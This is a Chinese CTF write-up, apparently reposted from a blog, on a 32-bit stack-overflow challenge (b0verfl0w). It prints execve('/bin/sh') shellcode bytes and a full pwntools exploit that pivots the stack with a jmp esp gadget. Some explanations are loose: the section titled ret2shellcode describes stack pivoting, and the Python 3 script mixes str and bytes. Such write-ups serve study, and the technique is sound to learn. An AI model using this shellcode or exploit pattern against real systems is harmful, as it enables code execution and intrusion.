简单的PWN学习-ret2shellcode

news2024/11/25 6:16:23

最近笔者开始钻研pwn的一些知识,发现栈溢出真的非常的有意思,于是经过一个多礼拜的学习,终于是把2016年的一道CTF题给看明白了了,首先我们学习一下前置技能

0x01 shellcode​

首先简单看一下shellcode是怎么生成的,首先简单看一下shellcode是怎么生成的,使用python3环境生成一个shellcode,如下所示

from pwn import *
shellcode=shellcraft.amd64.sh()
print(shellcode)

在这里插入图片描述
把他转换成机器码

context.arch = 'amd64'
asm(shellcode)

在这里插入图片描述

0x02 解题原理

ret2shellcode
原理:

劫持栈指针指向攻击者所能控制的内存处,然后在相应的位置进行 ROP。

在哪些情况可以使用劫持栈指针的方式进行攻击?

1. 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
2. 开启了 PIE 保护,栈地址未知

使用条件

利用 stack pivoting 有以下几个要求

可以控制程序执行流。
可以控制 sp 指针(栈顶指针)。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets (jmp esp)

0x03 解题步骤

首先查看程序基本信息

checksec b0verfl0w 

在这里插入图片描述
程序其实没开什么防护,架构是i386-32架构的;使用ida查看程序
在这里插入图片描述
在这里插入图片描述
溢出点出现在_fgets函数中,其中用户输入的数据被读入到一个大小为32字节(0x20)的缓冲区,而没有进行边界检查。

程序自身限定了50个字节(0x32)的长度范围,所以溢出的字节数为0x32 - 0x20 - 0x4 = 14字节。(0x04是因为在32位系统中ebp类型的大小为4字节)

布置 payload 如下
shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp

Shellcode(代码注入):Shellcode 是一段用于利用计算机系统漏洞、以获取系统控制权的机器码。常用于编写恶意软件或执行渗透测试。

Padding(填充):填充通常指向一个操作系统或应用程序的缓冲区溢出攻击,攻击者会在输入数据中添加足够数量的无关数据来覆盖目标内存区域。

Fake EBP(伪EBP):EBP(Extended Base Pointer)是x86体系结构中的一种寄存器,用于指向当前函数的堆栈帧。"Fake EBP"可能指的是在堆栈上创建一个伪造的EBP值,以便欺骗程序流程或隐藏攻击的痕迹。

0x08048504:这是一个具体的内存地址,在这里就是gadgets 的地址。

Set ESP point to shellcode and jmp ESP(设置ESP指向shellcode并跳转到ESP):ESP(Extended Stack Pointer)是x86体系结构中的另一个寄存器,用于指向当前堆栈顶部。这个步骤意味着将ESP设置为shellcode所在的内存位置,并通过跳转指令(jmp)将程序流程转移到该位置,以执行shellcode。

那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道

size(shellcode+padding)=0x20 
size(fake ebp)=0x4 
size(0x08048504)=0x4 

寻找jmp esp地址

ROPgadget --binary '/home/root1/桌 面/b0verfl0w' --only jmp

在这里插入图片描述
在这里插入图片描述
所以我们最后一段需要执行的指令就是

sub esp,0x28
jmp esp

我们本次使用的shellcode为25字节,padding为7字节,Fake EBP长度为4字节(真实的 EBP 是 x86 架构中堆栈帧的一部分,它用于指向当前函数的基址。对于大多数 32 位系统,EBP 寄存器的大小为 4 字节,而在 64 位系统上,EBP 寄存器的大小为 8 字节),0x08048504为4字节的内存地址 ,所以无论如何计算加一起都是40字节,或许我们可以利用gdb进行调试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
payload是自己在: https://www.exploit-db.com/shellcodes/47513
搜的,找一个长度小于32的应该是都行,当然越短越好
在这里插入图片描述

\x31\xc9           # xor    ecx,ecx    清除ECX寄存器(将其设置为零)
\xf7\xe1           # mul    ecx       将EDX:EAX寄存器对设置为零
\x51               # push   ecx       将0x0(null)推送到堆栈上
\x68\x2f\x2f\x73   # push   0x732f2f     将“//sh”推到堆栈上 
\x68\x2f\x62\x69\x6e # push   0x6e69622f     将“/bin”推到堆栈上 
\x89\xe3           # mov    ebx,esp     将堆栈顶部的地址(包含字符串“/bin//sh”)移动到EBX中 
\xb0\x0b           # mov    al,0xb    将值0xb(11)移到AL中,表示执行系统调用号
\xcd\x80           # int    0x80    触发软件中断以调用内核并执行系统调用

上述汇编指令使用了 Linux 系统调用来执行一个系统调用,具体进行的操作是执行 /bin/sh,也就是一个 Shell

完整的exp如下:
在这里插入图片描述

from pwn import *:导入pwntools库,这是一个强大的工具集,用于编写和执行二进制漏洞利用脚本。

    s = process("./b0verfl0w"):创建一个名为s的新进程,该进程将执行名为b0verfl0w的可执行文件。

    gdb.attach(s,"b *0x080485A0\nc"):使用GDB调试器附加到进程s上,并在地址0x080485A0处设置一个断点,然后继续执行程序。(断点可以自己调试)

    jmp_esp = 0x08048504:定义变量jmp_esp为地址0x08048504,该地址是一个jmp esp指令的位置,我们将在后面用于修改程序流程。

    payload = '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80':定义变量payload为一段shellcode,它将以后面的方式注入到目标程序中。

    sub_esp_jmp = asm('sub esp, 0x28;jmp esp'):使用pwntools的asm函数将汇编指令sub esp, 0x28;jmp esp转换为二进制形式,并将结果赋给变量sub_esp_jmp。这段汇编代码的作用是将栈指针向下调整0x28个字节,然后跳转到当前栈指针的位置,实现对栈上的攻击载荷执行的控制。

    print(len(payload)):打印变量payload的长度,以便我们知道需要填充多少字节才能覆盖目标程序中的返回地址。

    payload=payload + (0x20 - len(payload)) *'A' + 'AAAA' + p32(jmp_esp) + sub_esp_jmp:构造完整的攻击载荷。首先将之前定义的shellcode添加到载荷中,然后使用'A'字符填充剩余的空间,直到填满32个字节(0x20)。接下来,加入4'A'和一个little-endian格式的jmp_esp地址,用于覆盖返回地址。最后,将之前转换得到的sub_esp_jmp添加到载荷的末尾,以在目标程序中执行栈上的操作。

    s.sendline(payload):将构造好的攻击载荷发送给目标程序。

    s.interactive():切换到交互模式,使我们可以与目标程序进行交互,例如输入命令或查看输出。

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/719102.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux和Windows两种平台安装Maven

Linux和Windows两种平台安装Maven 0. 写在前面 Linux版本:Centos-7.5Windows版本:Windows10Maven版本:Maven-3.5.4JDK版本:jdk1.8 1. Linux平台安装 1.1 查看Linux内核版本命令 查看Linux内核版本命令 [whybigdatanode02 ~]$ …

AI医疗。

随着技术的发展,人工智能(AI)已经渗透到了我们生活的许多领域,包括凭其强大的预测和分析能力已经走入了医疗卫生领域。特别是在使用OpenAI的GPT-4技术的chatbot,如chatGPT和GPT-4等,已经成为了给医疗行业注…

驾驶舱数据指标体系设计指南

大数据时代下,各行各业面对众多的顾客和复杂多变的市场需求,要想及时适应市场变化,掌握市场动态,就需要对各个环节的数据进行分析,得到科学有效的结论来指导决策,这就离不开领导驾驶舱。 一、领导驾驶舱是什…

记一次 .NET 某工控视觉系统 卡死分析

一:背景 1. 讲故事 前段时间有位朋友找到我,说他们的工业视觉软件僵死了,让我帮忙看下到底是什么情况,哈哈,其实卡死的问题相对好定位,无非就是看主线程栈嘛,然后就是具体问题具体分析&#x…

为生信写的Python简明教程 | 视频7

开源生信 Python教程 生信专用简明 Python 文字和视频教程 源码在:https://github.com/Tong-Chen/Bioinfo_course_python 目录 背景介绍 编程开篇为什么学习Python如何安装Python如何运行Python命令和脚本使用什么编辑器写Python脚本Python程序事例Python基本语法 数…

BurpSutie拓展插件推荐-辅助测试插件

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 chunked-coding-converter-0.4.0(1)工具介绍(2)下载地址(3)使用说明 02 captcha-killer(1)工具介绍&a…

HOT43-验证二叉搜索树

leetcode原题链接:验证二叉搜索树 题目描述 给你一个二叉树的根节点 root ,判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下: 节点的左子树只包含 小于 当前节点的数。节点的右子树只包含 大于 当前节点的数。所有左子树和右…

tty(三)uart框架分析

基于linux-3.14.16 重点文件:serial_core.c 一、基本数据结构和接口 这里显然是导出符号给需要用到uart核心的代码使用的,我们从uart_register_driver和uart_add_one_port来分析,搞清楚uart和tty核心的关系。 二、uart_register_driver 首…

服务案例|消失的Linux定时清除任务

企业数字化转型,应用软件不断升级,对运行环境的要求也越来越高,CPU、内存等硬件也同步进入升级。当业务运行或备份时,将产生大量历史文件和临时文件,这就是在运维检测中,我们常看到文件每天几个G&#xff0…

软中断通信及signal()解读

目录 软中断通信 signal() 概述 signal()类似的函数 signal()之SIGINT signal()之SIGTERM signal()之SIGALRM signal()之SIGQUIT SIG_IGN使用 软中断通信 进程间通信方式有多种,其中软中断通信是一种常见的方式,它基于信号机制,可…

【mysql】索引存储结构B+树

参考: https://zhuanlan.zhihu.com/p/545113372 https://www.bilibili.com/read/cv18157852 Mysql数据库引擎默认使用InnoDB,使用B树数据结构。 一个表只能有一个聚簇索引,但可以有多个非聚簇索引,也就是多个索引目录提供数据检索…

coord软件的一些操作

文章目录 1. 大地坐标(B,L)转换为平面坐标(X,Y)操作流程示例 2. 大地坐标系下的平面坐标转换(X,Y)为大地坐标(B,L)操作示例 3. 6带坐标…

docker专题系列之十六:安装mycat

由于docker镜像仓库中mycat镜像比较少或相对比较旧,因此一般使用手动制作镜像方式安装部署。下文,良哥通过实验,分别介绍两种方式下如何安装部署mycat。 一、手动制作镜像方式 1.创建镜像 #创建工作目录 mkdir /usr/rdc mkdir /usr/rdc/my…

GOLANG进阶:Viper,Mysql,Swagger,Log

GOLANG从浅入深必须学习的一些工具包 1.Viper: Viper 是一个完整的 Go 应用程序配置解决方案,优势就在于开发项目中你不必去操心配置文件的格式而是让你腾出手来专注于项目的开发。其特性如下: 支持 JSON/TOML/YAML/HCL/envfile/Java proper…

【Java-数据结构】指定ArrayList 数组的大小有利于数据扩容和缩短耗时

关键 “因为扩容操作涉及内存申请和数据搬移&#xff0c;是比较耗时的。所以&#xff0c;如果事先能确定需要存储的数据大小&#xff0c;最好在创建 ArrayList 的时候事先指定数据大小。” 如下代码所示&#xff1a; ArrayList<User> users new ArrayList(10000); fo…

LogicFlow 在HTML中的引入与使用

LogicFlow 在HTML中的引入与使用 LogicFlow的引入与使用&#xff0c;相较于BPMNJS相对容易一些&#xff0c;更加灵活一些&#xff0c;但是扩展代码可能写得更多一些。 示例展示 示例代码 github: https://github.com/iotzzh/origin-examples/blob/main/%E6%B5%81%E7%A8%8B%E5%9…

SpringBoot2+Vue2实战(十)权限管理

一、父子菜单实现 新建数据库表 sys_menu sys_role 实体类 Role import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName;import java.io.Serializable;import l…

分析入手新项目后前后端的接口调用位置以及sql情况

文章目录 查看前端查看后端sql分析数据库分析作者的话 查看前端 比如我们的userList的一个功能&#xff0c;我们刷新页面后会发现当前页面有很多请求&#xff0c;我们根据请求header和param来分析&#xff0c;当前的“用户列表”接口是哪个请求&#xff0c; 我们填入一个参数…

C++ PCL三维点云物体目标识别

程序示例精选 C PCL三维点云物体目标识别 如需安装运行环境或远程调试&#xff0c;见文章底部个人QQ名片&#xff0c;由专业技术人员远程协助&#xff01; 前言 这篇博客针对<<C PCL三维点云物体目标识别>>编写代码&#xff0c;代码整洁&#xff0c;规则&#xff…

web学习--maven--项目管理工具

写在前面&#xff1a; 这学期搞主攻算法去了&#xff0c;web的知识都快忘了。开始复习学习了。 文章目录 maven介绍功能介绍maven安装jar包搜索仓库 pom文件项目介绍父工程依赖管理属性控制可选依赖构建 依赖管理依赖的传递排除依赖可选依赖 maven生命周期分模块开发模块聚合…